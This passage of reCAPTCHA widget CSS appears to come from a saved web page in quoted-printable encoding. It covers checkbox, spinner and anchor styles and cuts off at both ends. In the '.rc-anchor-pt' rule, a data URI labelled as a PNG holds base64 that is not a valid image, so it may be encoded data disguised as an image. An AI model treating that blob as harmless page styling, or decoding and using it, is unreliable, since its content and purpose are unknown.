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"); back= ground-repeat: no-repeat; border: none; height: 28px; outline: 0px; positio= n: absolute; width: 28px; } .recaptcha-checkbox-nodatauri.recaptcha-checkbox-borderAnimation { backgrou= nd-image: url("https://www.gstatic.com/recaptcha/api2/checkbox_sprite.png")= ; } .recaptcha-checkbox-spinner-gif { border-radius: 2px; background-color: rgb= (255, 255, 255); background-size: 24px; border: 2px solid rgb(193, 193, 193= ); height: 24px; left: 0px; position: absolute; top: 0px; width: 24px; } .recaptcha-checkbox-spinner { background-color: rgb(249, 249, 249); border-= width: 6px; border-style: solid; border-color: rgb(77, 144, 254) rgb(77, 14= 4, 254) transparent transparent; border-image: initial; border-radius: 36px= ; height: 36px; left: -4px; outline: 0px; position: absolute; top: -4px; wi= dth: 36px; box-sizing: border-box; opacity: 0; animation: 2.5s linear 0s in= finite normal none paused spinner-spin; transition-duration: 1s; } @keyframes spinner-spin {=20 0% { transform: rotateZ(0deg); } 10% { transform: rotateZ(135deg); } 25% { transform: rotateZ(245deg); } 60% { transform: rotateZ(700deg); } 75% { transform: rotateZ(810deg); } 100% { transform: rotateZ(1080deg); } } .recaptcha-checkbox-spinner-overlay { content: ""; position: absolute; top:= -7px; left: -7px; width: 38px; height: 19px; background-color: rgb(249, 24= 9, 249); animation: 1s linear 0s 1 normal none paused overlay-spin; transfo= rm-origin: center bottom; border-radius: 38px 38px 0px 0px; transform: rota= teZ(45deg); opacity: 0; } @keyframes overlay-spin {=20 0% { opacity: 1; transform: rotateZ(45deg); } 100% { opacity: 1; transform: rotateZ(225deg); } } .recaptcha-checkbox-checkmark { background-image: url("data:image/png;base6= 4,iVBORw0KGgoAAAANSUhEUgAAACYAAATsCAYAAADsAfBvAAAABmJLR0QA/wD/AP+gvaeTAAAAC= XBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAAAmAAAE7AAx5U8eAAAGSElEQVR42u3dMWicZQDG= 8dRo0FIrgqFFVCxWQaFD6VDnqiBCJ3NK1UVQsaOQQsAiKIoF7eLSwfLh0lXaKmZTEBQLgkNXRxH= UqUvX+l6+7/guSQOXL5fLk9zvB++iwz0kl1zeP+llZgYAAAAAAGBHVb3T5TycNuqFcp5KG3VPOc= 94ygAAAADRqt7Zcs6ljXqrnH/LeTppVL/2XCvnmKcNAAAAEKuuPZ+ljerXnjvNOZ8yql97fm1G3= cqqPlXvoXJ+KOek5zQAAABMt11Qe74oZ1/CqOHaMziXUsb1a88va8a9kfLp3F/Oj82oyxkfsdXj= Pihn1ncDAAAA9ga1Z/RRu672fJPRMFbXnsG5Us59KeO+WzPuejlzCePmyrk6NOz3cg6mfJXONp/= Gm+XMp30Lmc17PzIAAIAJ3orUnlFHqT1dx6k9XcetrT39s1zOws4/79racyfvi6Ied/ku4xYTPq= 37mo/SYNTPK1/BQd+ALzRfsfsTX7LmZgAAgBF+dFZ7Rh21h2pP1ft85VM/oXGj1Z76jjn4/xMdt= 3HtWT2qf36bXEPbuPZ8uea/3Zh8Lti49uzgqNXjLmeNasepPVv7ogAAAEb40blb7al6H5dzartG= das97c389vjHda0963PBT9vxEdts7bkwuUtwt9ozoZv55mvPBHOB2rO1cWpP14FqDwAAW/qZ7YH= EUUt5b0NR9T4auheMeVz32rP2EvzH+IZtvfZsw9VufLVnG+6bao/ao/aoPWoPAMAUhpWllZ/fAk= cNftq9kDhqEFcOJNWeMRcftUftUXvUHrVH7VF7AICsF/3jqWFlgm870a1hnEkNK/NGqT1qj9qj9= qg9ao/ao/YAwIReXxfyXmPbm/n1nHHrc8FFYcUotUftUXvUHrVH7VF71B4Apj2sPJ84anAJXkoc= NTjvCCtGqT1qj9qj9qg9ao/ao/YAMO1h5f7UsBL3PrFLWRdgucAotUftUXvUHrVH7VF71B4AuOu= rxvvlPJZYe/o/APyZM279Jfiq2mOUUWqP2qP2qD1qj9qj9qg9ANMeVmYTRy3lvaStvm+GjLv7Jf= gRN3OjjFJ71B61R+1Re9QetUftAZjm2nMstfbE//2k11Jrj5u5UUapPWqP2qP2qD1qj9qj9gBMd= e15Ne+Vo73aBb2srb9vXlJ7jDJK7VF71B61R+1Re9QetQeAwG/Qb3uLnI73zatqj1FGqT1qj9qj= 9qg9ao/ao/YAEPgN+r28f83VXu3+Kedoau1ZVnuMMkrtUXvUHrVH7VF71B61BwC1R+1xMzfKKLV= H7VF71B61R+1Re9QeANQetcfN3Cijpqr2HCvnw7Ta82w5/2XVnvoBvlV71B61R+1Re9QeANQetc= coo4yKrj31AxzOqj31Axxtik9U7TlSzl9qj9qj9qg9ao/aA4Dao/YYZZRR0bWn+31gG2tP+0CHc= mpP+0CPN9UnpPbUD/Ro8xcH1B61R+1Re9QeANQetcfN3Cij1J7c2rO1URFXux0aVfVez6g9qx/4= k6zaUz/wgtqj9qg9ag8Aao/a42ZulFFqj9pjlFGTH/NKOdcyak876lQ5t/PCStX7Su1RewBQe9Q= eN3OjjFJ71B6jjNolo17OG7X+I3Yjq2HU487mjQKAPUDt6X7fVHuMMmqqR6k9csG4R802/14pMh= fMNeMic0F/3EE/0wEADP+IpPZ0vW+qPUYZNdWjImvPgWZIUO1px8034yJzwbzfLgAAYA9Re7rfN= 9Ueo/bkqMW8UfWw4behuJnTMNpxN7JGteP2zQAAANNF7el+M1d7jBrHsEt5owaJoB53M69h1OP8= sw0AAICNbk1qT9dcoPZsNGohNazMDb0nRtwvh/THXcz85RAAAAB2FbVn86Oias/xzLBSjzubGVb= qcWeEFQAAAPYmtWf0Uafzak89rP9XXK6k/sZKf9ynwgoAAABM8DYeWXsW82pPPWz4fWKX0z5q3i= cWAAAASK09h8u5lVd76nEnm3HLiZ/OE36NBgAAAKZb1Xs3r/bUw94s5++82tOO+z71U3qv5zUAA= ABMr6r3Umrt6f+Joq9Ta09/3DlPHwAAACBO1XuinOdSx71YzpHUcSc8fQAAAIA4Ve/BleITOu7J= 3HehqXqHPH0AAAAAAAAAALr5H72AWmG4R73sAAAAAElFTkSuQmCC"); background-repeat: = no-repeat; border: none; height: 30px; left: -5px; outline: 0px; position: = absolute; width: 38px; } .rc-anchor-dark .recaptcha-checkbox-spinner, .rc-anchor-dark .recaptcha-che= ckbox-spinner-overlay { background-color: rgb(34, 34, 34); } .recaptcha-checkbox-nodatauri.recaptcha-checkbox-checkmark { background-ima= ge: url("https://www.gstatic.com/recaptcha/api2/checkmark_sprite.png"); } .recaptcha-checkbox-hover .recaptcha-checkbox-border, .recaptcha-checkbox-h= over .recaptcha-checkbox-spinner-gif { box-shadow: rgba(0, 0, 0, 0.1) 0px 1= px 1px inset; border: 2px solid rgb(178, 178, 178); } .recaptcha-checkbox-focused .recaptcha-checkbox-border, .recaptcha-checkbox= -focused .recaptcha-checkbox-spinner-gif { border: 2px solid rgb(77, 144, 2= 54); } .recaptcha-checkbox-active .recaptcha-checkbox-border, .recaptcha-checkbox-= active .recaptcha-checkbox-spinner-gif { background-color: rgb(235, 235, 23= 5); } .recaptcha-checkbox-disabled .recaptcha-checkbox-border, .recaptcha-checkbo= x-disabled .recaptcha-checkbox-spinner-gif { background-color: rgb(241, 241= , 241); } .recaptcha-checkbox-loading .recaptcha-checkbox-spinner-gif { background-im= age: url("https://www.gstatic.com/recaptcha/api2/loading.gif"); } .recaptcha-checkbox-checked .recaptcha-checkbox-border, .recaptcha-checkbox= -checked .recaptcha-checkbox-spinner-gif { visibility: hidden; } .recaptcha-checkbox-checked .recaptcha-checkbox-checkmark { background-posi= tion: 0px -600px; } .recaptcha-checkbox-expired .recaptcha-checkbox-border, .recaptcha-checkbox= -expired .recaptcha-checkbox-spinner-gif { border: 2px solid rgb(255, 0, 0)= ; } .recaptcha-checkbox-clearOutline.recaptcha-checkbox-focused .recaptcha-chec= kbox-border, .recaptcha-checkbox-clearOutline.recaptcha-checkbox-focused .r= ecaptcha-checkbox-spinner-gif { border: 2px solid rgb(193, 193, 193); } .rc-anchor { border-radius: 3px; box-shadow: rgba(0, 0, 0, 0.08) 0px 0px 4p= x 1px; } .rc-anchor-normal { height: 74px; width: 300px; } .rc-anchor-compact { height: 136px; width: 156px; } .rc-anchor-dark { background: rgb(34, 34, 34); color: rgb(255, 255, 255); } .rc-anchor-dark.rc-anchor-normal, .rc-anchor-dark.rc-anchor-compact { borde= r: 1px solid rgb(82, 82, 82); } .rc-anchor-light { background: rgb(249, 249, 249); color: rgb(0, 0, 0); } .rc-anchor-light.rc-anchor-normal, .rc-anchor-light.rc-anchor-compact { bor= der: 1px solid rgb(211, 211, 211); } .rc-inline-block { display: inline-block; height: 100%; } .rc-anchor-center-container { display: table; height: 100%; } .rc-anchor-center-item { display: table-cell; vertical-align: middle; } .rc-anchor-content { display: inline-block; position: relative; } .rc-anchor-normal .rc-anchor-content { height: 74px; width: 206px; } .rc-anchor-compact .rc-anchor-content { height: 85px; } .rc-anchor-error-message { color: rgb(255, 0, 0); font-family: Roboto, helv= etica, arial, sans-serif; font-size: 14px; font-weight: 400; line-height: 1= 6px; padding: 0px 10px; } .rc-anchor-checkbox { margin: 0px 12px 2px; } .rc-anchor-checkbox-label { font-family: Roboto, helvetica, arial, sans-ser= if; font-size: 14px; font-weight: 400; line-height: 17px; } .rc-anchor-normal .rc-anchor-checkbox-label { width: 152px; } .rc-anchor-compact .rc-anchor-checkbox-label { width: 95px; } .rc-anchor-error-msg-container { color: rgb(255, 0, 0); font-family: Roboto= , helvetica, arial, sans-serif; font-size: 12px; font-weight: 400; left: 0p= x; line-height: 14px; margin: 2px; position: absolute; top: 0px; } .rc-anchor-normal.rc-anchor-error .rc-anchor-error-msg-container { width: 2= 40px; } .rc-anchor-normal.rc-anchor-error .rc-anchor-content { margin-top: 10px; } .rc-anchor-compact.rc-anchor-error .rc-anchor-content { margin-top: 25px; } .rc-anchor-normal-footer { display: inline-block; height: 74px; vertical-al= ign: top; width: 70px; } .rc-anchor-compact-footer { margin: 0px 12px; text-align: center; width: 13= 6px; } .rc-anchor-logo-img { background: url("https://www.gstatic.com/recaptcha/ap= i2/logo_48.png") no-repeat; } .rc-anchor-logo-img-ie8 { } .rc-anchor-logo-text { cursor: default; font-family: Roboto, helvetica, ari= al, sans-serif; font-size: 10px; font-weight: 400; line-height: 10px; margi= n-top: 5px; text-align: center; } .rc-anchor-light .rc-anchor-logo-text, .rc-anchor-light div a:link, .rc-anc= hor-light div a:visited { color: rgb(85, 85, 85); } .rc-anchor-dark .rc-anchor-logo-text, .rc-anchor-dark div a:link, .rc-ancho= r-dark div a:visited { color: rgb(245, 245, 245); } .rc-anchor-logo-portrait { margin: 10px 0px 0px 26px; width: 58px; user-sel= ect: none; } .rc-anchor-logo-img-portrait { background-size: 32px; height: 32px; margin:= 0px 13px; width: 32px; } .rc-anchor-logo-landscape { user-select: none; } .rc-anchor-logo-img-landscape { background-size: 24px; display: inline-bloc= k; height: 24px; width: 24px; } .rc-anchor-logo-landscape-text-holder { display: inline-block; height: 24px= ; margin: 0px 2px; width: 54px; } .rc-anchor-normal .rc-anchor-pt, .rc-anchor-invisible .rc-anchor-pt, .rc-an= chor-compact .rc-anchor-pt { font-family: Roboto, helvetica, arial, sans-se= rif; font-size: 8px; font-weight: 400; } .rc-anchor-pt { background-image: url("data:image/png;base64,iVBORw0KGgBRG4= Rb2FMT3YcbXR9tWExjQBkXZ0SmVvbQkIJnQzBTGlvEmmiBckPzM1ddZZIBdFRxCG0kbWACY0ABe= c1NTbNuBMSVyV8uoZWE3EJ9uBKL3oUEokpB9df4xzrnzB9X98U9BN9HACAecjK0kwW3MuuZ0pP3= yDHx1fQN1fK18lKQHiFp3NcANsxxVUQEUWBRc1L9mFRUmkslLykbWl0BNKYbUHx6LEEBY2V1lgT= KMZhlcELQx6FwlwBOfubZnH62q1laHIBo150N2yuwJTPAQ1BMy0yjvgsBaq4IS2V0BZMY7YmvWT= aLLb3Vy2m5mBS29xBYXfknG1LSmnyK3UBOK2imGUIiTnGqgBdCt7WENidi1TTYRGbW0BrRkglkp= Aj2XZCWw/eDUBrGRotZ2sBe1vdYnXsyWUBdGt1bGkBQpCloopu5WRWcABPLOuJXQ4b24B/ipvpB= thBEEGy0HPhcmW5UgBZ9/eOtV+ka2kD5RrtCi+kGmyNdjxU6T+HVyKMl19jON4mcolzWGTo7JDB= dNcTXmxLU2lmYHFSMdlnBfc35aWyZBRvCcbmG0FRbd6Uv4b2UBboFlOO+VB5XV4N4DEZLZlaeoB= ZG9uUdKZad55Be7Fy8cFxqABuU3EahHzRiJKaZVudABMMpwQ7EsnE9CdGg5ZQBKPBeCN2TCbmrw= irF5KFjuV3WN7iPGXiafWAn6qggVfGADVxuruN8vtWhMrCQ2heqad4EmIIqKoAudjGYr1JtTnuf= fQ+skkW+2MNnBZ2WwOpO6PXpvBPtOQvWiCsYBbm+PHABNVBjYWvyY8FvwIcoHHRl67oBc2BwaHA= PcABF7phMGkBbWU7hLzaBXXpKZHL73dx2BxOBFsrtnxm1yBeE1napmxNXVzTdneLBnc"); } .rc-anchor-pt a { display: inline; padding: 2px 1px; text-decoration: none;= } .rc-anchor-pt a:hover { text-decoration: underline; } .rc-anchor-normal .rc-anchor-pt { margin: 2px 11px 0px 0px; padding-right: = 2px; position: absolute; right: 0px; text-align: right; width: 276px; } .rc-anchor-compact .rc-anchor-pt { margin: 0px 0px 2px; width: 132px; } .rc-anchor-aria-status { display: none; } #rc-anchor-alert, .rc-anchor-alert { color: red; font-size: 9px; margin: 2p= x; position: absolute; top: 0px; } #rc-anchor-over-quota { bottom: 0px; color: rgb(85, 85, 85); font-family: R= oboto, helvetica, arial, sans-serif; font-size: 9px; padding: 4px; position= : absolute; width: 170px; display: flex; align-items: center; height: 20px;= } .rc-anchor-compact .rc-anchor-content #rc-anchor-over-quota { width: 148px;= } .rc-anchor-normal .rc-anchor-pt.rc-anchor-over-quota-pt { width: 130px; } .rc-anchor-logo-portrait.rc-anchor-over-quota-logo { margin-top: 6px; } #rc-anchor-invisible-over-quota { font-size: 9px; line-height: initial; } #rc-anchor-invisible-over-quota a { color: white; } .rc-anchor-invisible { height: 60px; width: 256px; display: flex; } .rc-anchor-invisible-text { background: rgb(26, 115, 232); color: white; di= splay: flex; flex-basis: 166px; flex-direction: column; -webkit-box-flex: 1= ; flex-grow: 1; font-family: Roboto, helvetica, arial, sans-serif; font-siz= e: 13px; font-weight: 400; height: 100%; justify-content: center; line-heig= ht: 20px; padding: 0px 16px; white-space: nowrap; } .rc-anchor-invisible-text.smalltext { font-size: 12px; padding: 0px 10px; l= ine-height: 16px; white-space: normal; } .rc-anchor-invisible-text.smalltext .rc-anchor-pt { line-height: 12px; whit= e-space: normal; } .rc-anchor-invisible-text.smalltext .rc-anchor-pt a:link { font-size: 9px; = } .rc-anchor-normal-footer.smalltext .rc-anchor-pt { font-size: 5px; line-hei= ght: 6px; } .rc-anchor-invisible-text strong { font-weight: 500; } .rc-anchor-invisible .rc-anchor-normal-footer .rc-anchor-pt { transition: o= pacity 0.3s; text-align: center; width: 70px; margin-top: 2px; } .rc-anchor-logo-img-large { transition: 0.3s; background-size: 40px; margin= : 5px 15px 0px; height: 40px; width: 40px; } .rc-anchor-invisible-nohover .rc-anchor-logo-img-large, .rc-anchor-invisibl= e-hover-hovered .rc-anchor-logo-img-large { background-size: 44px; margin: = 8px 13px 0px; height: 44px; width: 44px; } .rc-anchor-invisible-nohover .rc-anchor-normal-footer .rc-anchor-pt, .rc-an= chor-invisible-hover-hovered .rc-anchor-normal-footer .rc-anchor-pt { opaci= ty: 0; } .rc-anchor-invisible-nohover .rc-anchor-invisible-text .rc-anchor-pt, .rc-a= nchor-invisible-hover-hovered .rc-anchor-invisible-text .rc-anchor-pt { opa= city: 1; } .rc-anchor-invisible-text .rc-anchor-pt { transition: opacity 0.3s; } .rc-anchor-invisible-text .rc-anchor-pt a:link, .rc-anchor-invisible-text .= rc-anchor-pt a:visited { color: white; font-size: 